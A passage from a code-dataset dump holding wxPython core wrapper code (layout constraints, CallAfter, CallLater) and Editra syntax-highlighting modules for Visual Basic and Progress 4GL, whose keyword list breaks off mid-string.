int\"\"\"\n return _core_.IndividualLayoutConstraint_GetRelationship(*args, **kwargs)\n\n def SetRelationship(*args, **kwargs):\n \"\"\"SetRelationship(self, int r)\"\"\"\n return _core_.IndividualLayoutConstraint_SetRelationship(*args, **kwargs)\n\n def ResetIfWin(*args, **kwargs):\n \"\"\"\n ResetIfWin(self, Window otherW) -> bool\n\n Reset constraint if it mentions otherWin\n \"\"\"\n return _core_.IndividualLayoutConstraint_ResetIfWin(*args, **kwargs)\n\n def SatisfyConstraint(*args, **kwargs):\n \"\"\"\n SatisfyConstraint(self, LayoutConstraints constraints, Window win) -> bool\n\n Try to satisfy constraint\n \"\"\"\n return _core_.IndividualLayoutConstraint_SatisfyConstraint(*args, **kwargs)\n\n def GetEdge(*args, **kwargs):\n \"\"\"\n GetEdge(self, int which, Window thisWin, Window other) -> int\n\n Get the value of this edge or dimension, or if this\n is not determinable, -1.\n \"\"\"\n return _core_.IndividualLayoutConstraint_GetEdge(*args, **kwargs)\n\n Done = property(GetDone,SetDone,doc=\"See `GetDone` and `SetDone`\") \n Margin = property(GetMargin,SetMargin,doc=\"See `GetMargin` and `SetMargin`\") \n MyEdge = property(GetMyEdge,doc=\"See `GetMyEdge`\") \n OtherEdge = property(GetOtherEdge,doc=\"See `GetOtherEdge`\") \n OtherWindow = property(GetOtherWindow,doc=\"See `GetOtherWindow`\") \n Percent = property(GetPercent,doc=\"See `GetPercent`\") \n Relationship = property(GetRelationship,SetRelationship,doc=\"See `GetRelationship` and `SetRelationship`\") \n Value = property(GetValue,SetValue,doc=\"See `GetValue` and `SetValue`\") \n_core_.IndividualLayoutConstraint_swigregister(IndividualLayoutConstraint)\n\nclass LayoutConstraints(Object):\n \"\"\"\n **Note:** constraints are now deprecated and you should use sizers\n instead.\n\n Objects of this class can be associated with a window to define its\n layout constraints, with respect to siblings or its parent.\n\n The class consists of the following eight constraints of class\n wx.IndividualLayoutConstraint, some or all of which should be accessed\n directly to set the appropriate constraints.\n\n * left: represents the left hand edge of the window\n * right: represents the right hand edge of the window\n * top: represents the top edge of the window\n * bottom: represents the bottom edge of the window\n * width: represents the width of the window\n * height: represents the height of the window\n * centreX: represents the horizontal centre point of the window\n * centreY: represents the vertical centre point of the window \n\n Most constraints are initially set to have the relationship\n wxUnconstrained, which means that their values should be calculated by\n looking at known constraints. The exceptions are width and height,\n which are set to wxAsIs to ensure that if the user does not specify a\n constraint, the existing width and height will be used, to be\n compatible with panel items which often have take a default size. If\n the constraint is ``wx.AsIs``, the dimension will not be changed.\n\n :see: `wx.IndividualLayoutConstraint`, `wx.Window.SetConstraints`\n\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n left = property(_core_.LayoutConstraints_left_get)\n top = property(_core_.LayoutConstraints_top_get)\n right = property(_core_.LayoutConstraints_right_get)\n bottom = property(_core_.LayoutConstraints_bottom_get)\n width = property(_core_.LayoutConstraints_width_get)\n height = property(_core_.LayoutConstraints_height_get)\n centreX = property(_core_.LayoutConstraints_centreX_get)\n centreY = property(_core_.LayoutConstraints_centreY_get)\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> LayoutConstraints\"\"\"\n _core_.LayoutConstraints_swiginit(self,_core_.new_LayoutConstraints(*args, **kwargs))\n __swig_destroy__ = _core_.delete_LayoutConstraints\n __del__ = lambda self : None;\n def SatisfyConstraints(*args, **kwargs):\n \"\"\"SatisfyConstraints(Window win) -> (areSatisfied, noChanges)\"\"\"\n return _core_.LayoutConstraints_SatisfyConstraints(*args, **kwargs)\n\n def AreSatisfied(*args, **kwargs):\n \"\"\"AreSatisfied(self) -> bool\"\"\"\n return _core_.LayoutConstraints_AreSatisfied(*args, **kwargs)\n\n_core_.LayoutConstraints_swigregister(LayoutConstraints)\n\n#----------------------------------------------------------------------------\n\n# Use Python's bool constants if available, make some if not\ntry:\n True\nexcept NameError:\n __builtins__.True = 1==1\n __builtins__.False = 1==0\n def bool(value): return not not value\n __builtins__.bool = bool\n\n\n\n# workarounds for bad wxRTTI names\n__wxPyPtrTypeMap['wxGauge95'] = 'wxGauge'\n__wxPyPtrTypeMap['wxSlider95'] = 'wxSlider'\n__wxPyPtrTypeMap['wxStatusBar95'] = 'wxStatusBar'\n\n\n#----------------------------------------------------------------------------\n# Load version numbers from __version__... Ensure that major and minor\n# versions are the same for both wxPython and wxWidgets.\n\nfrom __version__ import *\n__version__ = VERSION_STRING\n\nassert MAJOR_VERSION == _core_.MAJOR_VERSION, \"wxPython/wxWidgets version mismatch\"\nassert MINOR_VERSION == _core_.MINOR_VERSION, \"wxPython/wxWidgets version mismatch\"\nif RELEASE_VERSION != _core_.RELEASE_VERSION:\n import warnings\n warnings.warn(\"wxPython/wxWidgets release number mismatch\")\n\n\ndef version():\n \"\"\"Returns a string containing version and port info\"\"\"\n ctype = wx.USE_UNICODE and 'unicode' or 'ansi'\n if wx.Platform == '__WXMSW__':\n port = 'msw'\n elif wx.Platform == '__WXMAC__':\n port = 'mac'\n elif wx.Platform == '__WXGTK__':\n port = 'gtk'\n if 'gtk2' in wx.PlatformInfo:\n port = 'gtk2'\n else:\n port = '?'\n\n return \"%s (%s-%s)\" % (wx.VERSION_STRING, port, ctype)\n \n \n#----------------------------------------------------------------------------\n\n# Set wxPython's default string<-->unicode conversion encoding from\n# the locale, but only if Python's default hasn't been changed. (We\n# assume that if the user has customized it already then that is the\n# encoding we need to use as well.)\n#\n# The encoding selected here is used when string or unicode objects\n# need to be converted in order to pass them to wxWidgets. Please be\n# aware that the default encoding within the same locale may be\n# slightly different on different platforms. For example, please see\n# http://www.alanwood.net/demos/charsetdiffs.html for differences\n# between the common latin/roman encodings.\n\ndefault = _sys.getdefaultencoding()\nif default == 'ascii':\n import locale\n import codecs\n try:\n if hasattr(locale, 'getpreferredencoding'):\n default = locale.getpreferredencoding()\n else:\n default = locale.getdefaultlocale()[1]\n codecs.lookup(default)\n except (ValueError, LookupError, TypeError):\n default = _sys.getdefaultencoding()\n del locale\n del codecs\nif default:\n wx.SetDefaultPyEncoding(default)\ndel default\n\n#----------------------------------------------------------------------------\n\nclass PyDeadObjectError(AttributeError):\n pass\n\nclass _wxPyDeadObject(object):\n \"\"\"\n Instances of wx objects that are OOR capable will have their __class__\n changed to this class when the C++ object is deleted. This should help\n prevent crashes due to referencing a bogus C++ pointer.\n \"\"\"\n reprStr = \"wxPython wrapper for DELETED %s object! (The C++ object no longer exists.)\"\n attrStr = \"The C++ part of the %s object has been deleted, attribute access no longer allowed.\"\n\n def __repr__(self):\n if not hasattr(self, \"_name\"):\n self._name = \"[unknown]\"\n return self.reprStr % self._name\n\n def __getattr__(self, *args):\n if not hasattr(self, \"_name\"):\n self._name = \"[unknown]\"\n raise PyDeadObjectError(self.attrStr % self._name)\n\n def __nonzero__(self):\n return 0\n\n\n\nclass PyUnbornObjectError(AttributeError):\n pass\n\nclass _wxPyUnbornObject(object):\n \"\"\"\n Some stock objects are created when the wx._core module is\n imported, but their C++ instance is not created until the wx.App\n object is created and initialized. These object instances will\n temporarily have their __class__ changed to this class so an\n exception will be raised if they are used before the C++ instance\n is ready.\n \"\"\"\n\n reprStr = \"wxPython wrapper for UNBORN object! (The C++ object is not initialized yet.)\"\n attrStr = \"The C++ part of this object has not been initialized, attribute access not allowed.\"\n\n def __repr__(self):\n return self.reprStr\n\n def __getattr__(self, *args):\n raise PyUnbornObjectError(self.attrStr) \n\n def __nonzero__(self):\n return 0\n\n\n#----------------------------------------------------------------------------\n\ndef CallAfter(callable, *args, **kw):\n \"\"\"\n Call the specified function after the current and pending event\n handlers have been completed. This is also good for making GUI\n method calls from non-GUI threads. Any extra positional or\n keyword args are passed on to the callable when it is called.\n\n :see: `wx.CallLater`\n \"\"\"\n app = wx.GetApp()\n assert app is not None, 'No wx.App created yet'\n\n if not hasattr(app, \"_CallAfterId\"):\n app._CallAfterId = wx.NewEventType()\n app.Connect(-1, -1, app._CallAfterId,\n lambda event: event.callable(*event.args, **event.kw) )\n evt = wx.PyEvent()\n evt.SetEventType(app._CallAfterId)\n evt.callable = callable\n evt.args = args\n evt.kw = kw\n wx.PostEvent(app, evt)\n\n#----------------------------------------------------------------------------\n\n\nclass CallLater:\n \"\"\"\n A convenience class for `wx.Timer`, that calls the given callable\n object once after the given amount of milliseconds, passing any\n positional or keyword args. The return value of the callable is\n availbale after it has been run with the `GetResult` method.\n\n If you don't need to get the return value or restart the timer\n then there is no need to hold a reference to this object. It will\n hold a reference to itself while the timer is running (the timer\n has a reference to self.Notify) but the cycle will be broken when\n the timer completes, automatically cleaning up the wx.CallLater\n object.\n\n :see: `wx.CallAfter`\n \"\"\"\n def __init__(self, millis, callable, *args, **kwargs):\n self.millis = millis\n self.callable = callable\n self.SetArgs(*args, **kwargs)\n self.runCount = 0\n self.running = False\n self.hasRun = False\n self.result = None\n self.timer = None\n self.Start()\n\n def __del__(self):\n self.Stop()\n\n\n def Start(self, millis=None, *args, **kwargs):\n \"\"\"\n (Re)start the timer\n \"\"\"\n self.hasRun = False\n if millis is not None:\n self.millis = millis\n if args or kwargs:\n self.SetArgs(*args, **kwargs)\n self.Stop()\n self.timer = wx.PyTimer(self.Notify)\n self.timer.Start(self.millis, wx.TIMER_ONE_SHOT)\n self.running = True\n Restart = Start\n\n\n def Stop(self):\n \"\"\"\n Stop and destroy the timer.\n \"\"\"\n if self.timer is not None:\n self.timer.Stop()\n self.timer = None\n\n\n def GetInterval(self):\n if self.timer is not None:\n return self.timer.GetInterval()\n else:\n return 0\n\n\n def IsRunning(self):\n return self.timer is not None and self.timer.IsRunning()\n\n\n def SetArgs(self, *args, **kwargs):\n \"\"\"\n (Re)set the args passed to the callable object. This is\n useful in conjunction with Restart if you want to schedule a\n new call to the same callable object but with different\n parameters.\n \"\"\"\n self.args = args\n self.kwargs = kwargs\n\n\n def HasRun(self):\n return self.hasRun\n\n def GetResult(self):\n return self.result\n\n def Notify(self):\n \"\"\"\n The timer has expired so call the callable.\n \"\"\"\n if self.callable and getattr(self.callable, 'im_self', True):\n self.runCount += 1\n self.running = False\n self.result = self.callable(*self.args, **self.kwargs)\n self.hasRun = True\n if not self.running:\n # if it wasn't restarted, then cleanup\n wx.CallAfter(self.Stop)\n\n Interval = property(GetInterval)\n Result = property(GetResult)\n\n\nclass FutureCall(CallLater):\n \"\"\"A compatibility alias for `CallLater`.\"\"\"\n\n#----------------------------------------------------------------------------\n# Control which items in this module should be documented by epydoc.\n# We allow only classes and functions, which will help reduce the size\n# of the docs by filtering out the zillions of constants, EVT objects,\n# and etc that don't make much sense by themselves, but are instead\n# documented (or will be) as part of the classes/functions/methods\n# where they should be used.\n\nclass __DocFilter:\n \"\"\"\n A filter for epydoc that only allows non-Ptr classes and\n functions, in order to reduce the clutter in the API docs.\n \"\"\"\n def __init__(self, globals):\n self._globals = globals\n \n def __call__(self, name):\n import types\n obj = self._globals.get(name, None)\n\n # only document classes and function\n if type(obj) not in [type, types.ClassType, types.FunctionType, types.BuiltinFunctionType]:\n return False\n\n # skip other things that are private or will be documented as part of somethign else\n if name.startswith('_') or name.startswith('EVT') or name.endswith('_swigregister') or name.endswith('Ptr') :\n return False\n\n # skip functions that are duplicates of static functions in a class\n if name.find('_') != -1:\n cls = self._globals.get(name.split('_')[0], None)\n methname = name.split('_')[1]\n if hasattr(cls, methname) and type(getattr(cls, methname)) is types.FunctionType:\n return False\n \n return True\n\n#----------------------------------------------------------------------------\n#----------------------------------------------------------------------------\n\n# Import other modules in this package that should show up in the\n# \"core\" wx namespace\nfrom _gdi import *\nfrom _windows import *\nfrom _controls import *\nfrom _misc import *\n\n#----------------------------------------------------------------------------\n#----------------------------------------------------------------------------\n\n\n\n", "id": "7015701", "language": "Python", "matching_score": 10.4530029296875, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/_core.py" }, { "content": "###############################################################################\n# Name: visualbasic.py #\n# Purpose: Define Visual Basic syntax for highlighting and other features #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2007 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nFILE: visualbasic.py\nAUTHOR: <NAME>\n@summary: Lexer configuration module for Visual Basic.\n@todo: Incomplete requires color/kw tuning\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: _visualbasic.py 63834 2010-04-03 06:04:33Z CJP $\"\n__revision__ = \"$Revision: 63834 $\"\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport wx.stc as stc\n\n# Local Imports\nimport syndata\n\n#-----------------------------------------------------------------------------#\n\n#---- Keyword Specifications ----#\n\n# Visual Basic Keywords (Statements)\nVB_KW = (0, \"AppActivate Base Beep Begin Call Case ChDir ChDrive Const Declare \"\n \"DefByte DefCur DefDate DefDbl DefDec DefInt DefLng DefObj DefSng \"\n \"DefStr Deftype DefVar DeleteSetting Dim Do Else End Enum Erase \"\n \"Event Exit Explicit FileCopy For ForEach Function Get GoSub GoTo \"\n \"If Implements Kill Let LineInput Lock LSet MkDir Name Next \"\n \"On Option Private Property Public Put RaiseEvent Randomize ReDim \"\n \"Rem Reset Resume Return RmDir RSet SavePicture SaveSetting With \"\n \"SendKeys SetAttr Static Sub Then Type Unlock Wend While Width \"\n \"Write Height DefBool OnError \")\n\n# Visual Basic User Keywords 1 (Functions)\nVB_UKW1 = (1, \"Abs Array Asc AscB AscW Atn Avg CBool CByte CCur CDate CDbl \"\n \"Choose Chr ChrB ChrW CInt CLng Command Cos Count CreateObject \"\n \"CSng CStr CurDir CVar CVDate CVErr Date DateAdd DateDiff Cdec \"\n \"DatePart DateSerial DateValue Day DDB Dir DoEvents Environ EOF \"\n \"Error Exp FileAttr FileDateTime FileLen Fix Format FreeFile FV \"\n \"GetAllStrings GetAttr GetAutoServerSettings GetObject NPV \"\n \"Hex Hour IIf IMEStatus Input InputB InputBox InStr InstB Int \"\n \"IPmt IsArray IsDate IsEmpty IsError IsMissing IsNull IsNumeric \"\n \"IsObject LBound LCase Left LeftB Len LenB LoadPicture Loc LOF \"\n \"Log LTrim Max Mid MidB Min Minute MIRR Month MsgBox Now NPer \"\n \"Oct Partition Pmt PPmt PV QBColor Rate RGB Right RightB Rnd \"\n \"RTrim Second Seek Sgn Shell Sin SLN Space Spc Sqr StDev StDevP \"\n \"Str StrComp StrConv String Switch Sum SYD Tab Tan Time Timer \"\n \"TimeSerial TimeValue Trim TypeName UBound UCase Val Var VarP \"\n \"VarType Weekday Year GetSetting \")\n\n# Visual Basic User Keywords 2 (Methods)\nVB_UKW2 = (2, \"Accept Activate Add AddCustom AddFile AddFromFile AddItem \"\n \"AddFromTemplate AddNew AddToAddInToolbar AddToolboxProgID \"\n \"Append AppendChunk Arrange Assert AsyncRead BatchUpdate \"\n \"BeginTrans Bind Cancel CancelAsyncRead CancelBatch CancelUpdate \"\n \"CanPropertyChange CaptureImage CellText CellValue Circle Clear \"\n \"ClearFields ClearSel ClearSelCols Clone Close Cls ColContaining \"\n \"ColumnSize CommitTrans CompactDatabase Compose Connect Copy \"\n \"CopyQueryDef CreateDatabase CreateDragImage CreateEmbed \"\n \"CreateField CreateGroup CreateIndex CreateLink Customize\"\n \"CreatePreparedStatement CreatePropery CreateQueryCreateQueryDef \"\n \"CreateRelation CreateTableDef CreateUser CreateWorkspace \"\n \"Delete DeleteColumnLabels DeleteColumns DeleteRowLabels Open \"\n \"DeleteRows DoVerb Drag Draw Edit EditCopy EditPaste EndDoc \"\n \"EnsureVisible EstablishConnection Execute ExtractIcon Fetch \"\n \"FetchVerbs Files FillCache Find FindFirst FindItem FindLast \"\n \"FindNext GoForward KillDoc LoadFile MakeCompileFile MoveNext \"\n \"FindPrevious Forward GetBookmark GetChunk GetClipString GetData \"\n \"GetFirstVisible GetFormat GetHeader GetLineFromChar GetNumTicks \"\n \"GetRows GetSelectedPart GetText GetVisibleCount GoBack OLEDrag \"\n \"Hide HitTest HoldFields Idle InitializeLabels InsertRows Item \"\n \"InsertColumnLabels InsertColumns InsertObjDlg InsertRowLabels \"\n \"Layout Line LinkExecute LinkPoke LinkRequest LinkSend Listen \"\n \"LoadResData LoadResPicture LoadResString LogEvent OpenResultset \"\n \"MakeReplica MoreResults Move MoveData MoveFirst MoveLast Point \"\n \"MovePrevious NavigateTo NewPage NewPassword NextRecordset Quit \"\n \"OnAddinsUpdate OnConnection OnDisconnection OnStartupComplete \"\n \"OpenConnection OpenDatabase OpenQueryDef OpenRecordset Reload \"\n \"OpenURL Overlay PaintPicture Paste PastSpecialDlg PeekData Play \"\n \"PopulatePartial PopupMenu Print PrintForm PropertyChanged PSet \"\n \"Raise RandomDataFill RandomFillColumns RandomFillRows Remove \"\n \"rdoCreateEnvironment rdoRegisterDataSource ReadFromFile \"\n \"Rebind ReFill Refresh RefreshLink RegisterDatabase ReadProperty \"\n \"RemoveAddInFromToolbar RemoveItem Render RepairDatabase Reply \"\n \"ReplyAll Requery ResetCustom ResetCustomLabel ResolveName \"\n \"RestoreToolbar Resync Rollback RollbackTrans RowBookmark \"\n \"RowContaining RowTop Save SaveAs SaveFile SaveToFile SelectAll \"\n \"SaveToolbar SaveToOle1File Scale ScaleX ScaleY Scroll Select \"\n \"SelectPart SelPrint Send SendData Set SetAutoServerSettings \"\n \"SetData SetFocus SetOption SetSize SetText SetViewport Show \"\n \"ShowColor ShowFont ShowHelp ShowOpen ShowPrinter ShowSave \"\n \"ShowWhatsThis SignOff SignOn Size Span SplitContaining \"\n \"StartLabelEdit StartLogging Stop Synchronize TextHeight \"\n \"TextWidth ToDefaults TwipsToChartPart TypeByChartType \"\n \"Update UpdateControls UpdateRecord UpdateRow Upto WhatsThisMode \"\n \"WriteProperty ZOrder\")\n\n# Visual Basic User Keywords 3 (Events)\nVB_UKW3 = (3, \"AccessKeyPress AfterAddFile AfterChangeFileName AfterCloseFile \"\n \"AfterColEdit AfterColUpdate AfterDelete AfterInsert \"\n \"AfterLabelEdit AfterRemoveFile AfterUpdate AfterWriteFile \"\n \"AmbienChanged ApplyChanges Associate AsyncReadComplete \"\n \"AxisActivated AxisLabelActivated AxisLabelSelected Collapse \"\n \"AxisLabelUpdated AxisSelected AxisTitleActivated BeforeColEdit \"\n \"AxisTitleSelected AxisTitleUpdated AxisUpdated BeforeClick \"\n \"BeforeColUpdate BeforeConnect BeforeDelete BeforeInsert \"\n \"BeforeLabelEdit BeforeLoadFile BeforeUpdate ButtonClick \"\n \"ButtonCompleted ButtonGotFocus ButtonLostFocus Change ColResize \"\n \"ChartActivated ChartSelected ChartUpdated Click ColEdit \"\n \"ColumnClick Compare ConfigChageCancelled ConfigChanged \"\n \"ConnectionRequest DataArrival DataChanged DataUpdated DblClick \"\n \"Deactivate DeviceArrival DeviceOtherEvent DeviceQueryRemove \"\n \"DeviceQueryRemoveFailed DeviceRemoveComplete DoGetNewFileName \"\n \"DeviceRemovePending DevModeChange Disconnect DisplayChanged \"\n \"Dissociate Done DonePainting DownClick DragDrop DragOver \"\n \"DropDown EditProperty EnterCell EnterFocus ExitFocus Expand \"\n \"FootnoteActivated FootnoteSelected FootnoteUpdated GotFocus \"\n \"HeadClick InfoMessage Initialize IniProperties ItemActivated \"\n \"ItemAdded ItemCheck ItemClick ItemReloaded ItemRemoved \"\n \"ItemRenamed ItemSeletected KeyDown KeyPress KeyUp LeaveCell \"\n \"LegendActivated LegendSelected LegendUpdated LinkClose \"\n \"LinkError LinkNotify LinkOpen Load LostFocus MouseDown \"\n \"MouseMove MouseUp NodeClick ObjectMove OLECompleteDrag \"\n \"OLEDragDrop OLEDragOver OLEGiveFeedback OLESetData OLEStartDrag \"\n \"OnAddNew OnComm Paint PanelClick PanelDblClick PathChange \"\n \"PatternChange PlotActivated PlotSelected PlotUpdated \"\n \"PointActivated Reposition SelChange StateChanged TitleActivated \"\n \"PointLabelActivated PointLabelSelected PointLabelUpdated \"\n \"PointSelected PointUpdated PowerQuerySuspend PowerResume \"\n \"PowerStatusChanged PowerSuspend QueryChangeConfig QueryComplete \"\n \"QueryCompleted QueryTimeout QueryUnload ReadProperties \"\n \"RequestChangeFileName RequestWriteFile Resize ResultsChanged \"\n \"RowColChange RowCurrencyChange RowResize RowStatusChanged \"\n \"SelectionChanged SendComplete SendProgress SeriesActivated \"\n \"SeriesSelected SeriesUpdated SettingChanged SplitChange Unload \"\n \"StatusUpdate SysColorsChanged Terminate TimeChanged \"\n \"TitleSelected TitleActivated UnboundAddData UnboundDeleteRow \"\n \"UnboundGetRelativeBookmark UnboundReadData UnboundWriteData \"\n \"UpClick Updated Validate ValidationError WillAssociate \"\n \"WillDissociate WillExecute WillUpdateRows WriteProperties \"\n \"WillChangeData\")\n\n#---- Syntax Style Specs ----#\nSYNTAX_ITEMS = [ (stc.STC_B_ASM, 'asm_style'),\n (stc.STC_B_BINNUMBER, 'default_style'), # STYLE NEEDED\n (stc.STC_B_COMMENT, 'comment_style'),\n (stc.STC_B_CONSTANT, 'const_style'),\n (stc.STC_B_DATE, 'default_style'), # STYLE NEEDED\n (stc.STC_B_DEFAULT, 'default_style'),\n (stc.STC_B_ERROR, 'error_style'),\n (stc.STC_B_HEXNUMBER, 'number_style'),\n (stc.STC_B_IDENTIFIER, 'default_style'),\n (stc.STC_B_KEYWORD, 'keyword_style'),\n (stc.STC_B_KEYWORD2, 'class_style'), # STYLE NEEDED\n (stc.STC_B_KEYWORD3, 'funct_style'), # STYLE NEEDED\n (stc.STC_B_KEYWORD4, 'scalar_style'), # STYLE NEEDED\n (stc.STC_B_LABEL, 'directive_style'), # STYLE NEEDED\n (stc.STC_B_NUMBER, 'number_style'),\n (stc.STC_B_OPERATOR, 'operator_style'),\n (stc.STC_B_PREPROCESSOR, 'pre_style'),\n (stc.STC_B_STRING, 'string_style'),\n (stc.STC_B_STRINGEOL, 'stringeol_style')\n ]\n\n#---- Extra Properties ----#\nFOLD = (\"fold\", \"1\")\n\n#-----------------------------------------------------------------------------#\n\nclass SyntaxData(syndata.SyntaxDataBase):\n \"\"\"SyntaxData object for VisualBasic\"\"\" \n def __init__(self, langid):\n syndata.SyntaxDataBase.__init__(self, langid)\n\n # Setup\n self.SetLexer(stc.STC_LEX_VB)\n\n def GetKeywords(self):\n \"\"\"Returns Specified Keywords List \"\"\"\n keywords = list()\n tmp = [VB_KW, VB_UKW1, VB_UKW2, VB_UKW3]\n for keyw in tmp:\n keywords.append((keyw[0], keyw[1].lower()))\n return keywords\n\n def GetSyntaxSpec(self):\n \"\"\"Syntax Specifications \"\"\"\n return SYNTAX_ITEMS\n\n def GetProperties(self):\n \"\"\"Returns a list of Extra Properties to set \"\"\"\n return [FOLD]\n\n def GetCommentPattern(self):\n \"\"\"Returns a list of characters used to comment a block of code \"\"\"\n return [u'\\'']\n", "id": "6825606", "language": "Python", "matching_score": 5.140755653381348, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/syntax/_visualbasic.py" }, { "content": "###############################################################################\n# Name: progress.py #\n# Purpose: Define Progress 4gl syntax for highlighting and other features #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2008 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nSyntax highlighting definition for Progress 4GL programming language.\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: _progress.py 62364 2009-10-11 01:02:12Z CJP $\"\n__revision__ = \"$Revision: 62364 $\"\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport wx.stc as stc\n\n# Local Imports\nimport synglob\nimport syndata\nimport _sql\n\n#-----------------------------------------------------------------------------#\n\n# Reserved Progress 4GL keywords\nPROG_KW = (0, \"accumulate active-window add alias all alter ambiguous analyze \" \n \"and any apply as ascending assign at attr-space authorization \"\n \"auto-return available background before-hide begins bell \"\n \"between blank break btos by call can-do can-find centered \"\n \"character check chr clear clipboard col colon color column \"\n \"column-label columns compiler connected control count-of \"\n \"cpstream create ctos current current-changed current-language \"\n \"current-window current_date cursor database dataservers \"\n \"dbcodepage dbcollation dbname dbrestrictions dbtaskid dbtype \"\n \"dbversion dde deblank debug-list debugger decimal decimals \"\n \"declare def default default-noxlate default-window define \"\n \"delete delimiter descending dictionary disable disconnect disp \"\n \"display distinct dos down drop editing enable encode entry \"\n \"error-status escape etime except exclusive exclusive-lock \"\n \"exclusive-web-user exists export false fetch field fields \"\n \"file-information fill find find-case-sensitive find-global \"\n \"find-next-occurrence find-prev-occurrence find-select \"\n \"find-wrap-around first first-of focus font form format frame \"\n \"frame-col frame-db frame-down frame-field frame-file \"\n \"frame-index frame-line frame-name frame-row frame-value from \"\n \"from-chars from-pixels gateways get-byte get-codepages \"\n \"get-collations get-key-value getbyte global go-on go-pending \"\n \"grant graphic-edge group having header help hide import in \"\n \"index indicator input input-output insert integer into is \"\n \"is-attr-space join kblabel key-code key-function key-label \"\n \"keycode keyfunction keylabel keys keyword label last last-event \"\n \"last-key last-of lastkey ldbname leave library like \"\n \"line-counter listing locked lookup machine-class map member \"\n \"message message-lines mouse mpe new next next-prompt no \"\n \"no-attr-space no-error no-fill no-help no-hide no-labels \"\n \"no-lock no-map no-message no-pause no-prefetch no-undo \"\n \"no-validate no-wait not null num-aliases num-dbs num-entries \"\n \"of off old on open opsys option or os-append os-command \"\n \"os-copy os-create-dir os-delete os-dir os-drives os-error \"\n \"os-rename os2 os400 output overlay page page-bottom page-number \"\n \"page-top parameter pause pdbname persistent pixels preprocess \"\n \"privileges proc-handle proc-status process program-name \"\n \"Progress prompt prompt-for promsgs propath proversion put \"\n \"put-byte put-key-value putbyte query query-tuning quit r-index \"\n \"rcode-information readkey recid record-length rectangle release \"\n \"reposition retain retry return return-value revert revoke run \"\n \"save schema screen screen-io screen-lines scroll sdbname search \"\n \"seek select self session set setuserid share-lock shared \"\n \"show-stats skip some space status stream stream-io string-xref \"\n \"system-dialog table term terminal text text-cursor \"\n \"text-seg-growth this-procedure time title to today top-only \"\n \"trans transaction trigger triggers trim true underline undo \"\n \"unformatted union unique unix up update use-index use-revvideo \"\n \"use-underline user userid using v6frame value values variable \"\n \"view view-as vms wait-for web-context window window-maximized \"\n \"window-minimized window-normal with work-table workfile write \"\n \"xcode xref yes _cbit _control _list _memory _msg _pcontrol \"\n \"_serial-num _trace \"\n \"repeat transaction for each end finf where if then else skip \"\n \"close\"\n)\n\n# Progress 4GL Types\nPROG_TYPES = (1, \"char character int integer format var variable log logical \"\n \"da date\")\n\n# Progress 4GL Operators\nPROG_OP = (7, \"absolute accelerator across add-first add-last advise alert-box \"\n \"allow-replication ansi-only anywhere append appl-alert-boxes \"\n \"application as-cursor ask-overwrite attachment auto-end-key \"\n \"auto-endkey auto-go auto-indent auto-resize auto-zap \"\n \"available-formats average avg backwards base-key batch-mode \"\n \"bgcolor binary bind-where block-iteration-display border-bottom \"\n \"border-bottom-chars border-bottom-pixels border-left \"\n \"border-left-chars border-left-pixels border-right \"\n \"border-right-chars border-right-pixels border-top \"\n \"border-top-chars border-top-pixels both bottom box \"\n \"box-selectable browse browse-header buffer buffer-chars \"\n \"buffer-lines button buttons byte cache cache-size can-query \"\n \"can-set cancel-break cancel-button caps careful-paint \"\n \"case-sensitive cdecl character character_length charset checked \"\n \"choose clear-selection close code codepage codepage-convert \"\n \"col-of colon-aligned color-table column-bgcolor column-dcolor \"\n \"column-fgcolor column-font column-label-bgcolor \"\n \"column-label-dcolor column-label-fgcolor column-label-font \"\n \"column-of column-pfcolor column-scrolling combo-box command \"\n \"compile complete connect constrained contents context \"\n \"context-popup control-container control-form convert-to-offset \"\n \"convert count cpcase cpcoll cpinternal cplog cpprint cprcodein \"\n \"cprcodeout cpterm crc-value create-control \"\n \"create-result-list-entry create-test-file current-column \"\n \"current-environment current-iteration current-result-row \"\n \"current-row-modified current-value cursor-char cursor-line \"\n \"cursor-offset data-entry-return data-type date date-format day \"\n \"db-references dcolor dde-error dde-id dde-item dde-name \"\n \"dde-topic debug decimal default-button default-extension \"\n \"defer-lob-fetch define defined delete-char delete-current-row \"\n \"delete-line delete-selected-row delete-selected-rows \"\n \"deselect-focused-row deselect-rows deselect-selected-row \"\n \"design-mode dialog-box dialog-help dir disabled display-message \"\n \"display-type double drag-enabled drop-down drop-down-list dump \"\n \"dynamic echo edge edge-chars edge-pixels editor empty end-key \"\n \"endkey entered eq error error-column error-row event-type \"\n \"events exclusive-id execute exp expand extended extent external \"\n \"extract fetch-selected-row fgcolor file file-name file-offset \"\n \"file-type filename fill-in filled filters first-child \"\n \"first-column first-procedure first-tab-item fixed-only float \"\n \"focused-row font-based-layout font-table force-file foreground \"\n \"forult-row current-row-modified current-value cursor-char \"\n \"cursor-line cursor-offset data-entry-return data-type date \"\n \"date-format day db-references full-width full-width-chars \"\n \"full-width-pixels ge get get-blue-value get-char-property \"\n \"get-double get-dynamic get-file get-float get-green-value \"\n \"get-iteration get-license get-long get-message get-number \"\n \"get-pointer-value get-red-value get-repositioned-row \"\n \"get-selected-widget get-short get-signature get-size get-string \"\n \"get-tab-item get-text-height get-text-height-chars \"\n \"get-text-height-pixels get-text-width get-text-width-chars \"\n \"get-text-width-pixels get-unsigned-short grayed \"\n \"grid-factor-horizontal grid-factor-vertical grid-set grid-snap \"\n \"grid-unit-height grid-unit-height-chars grid-unit-height-pixels \"\n \"grid-unit-width grid-unit-width-chars grid-unit-width-pixels \"\n \"grid-visible gt handle height height-chars height-pixels \"\n \"help-context helpfile-name hidden hint horizontal hwnd image \"\n \"image-down image-insensitive image-size image-size-chars \"\n \"image-size-pixels image-up immediate-display index-hint \"\n \"indexed-reposition information init initial initial-dir \"\n 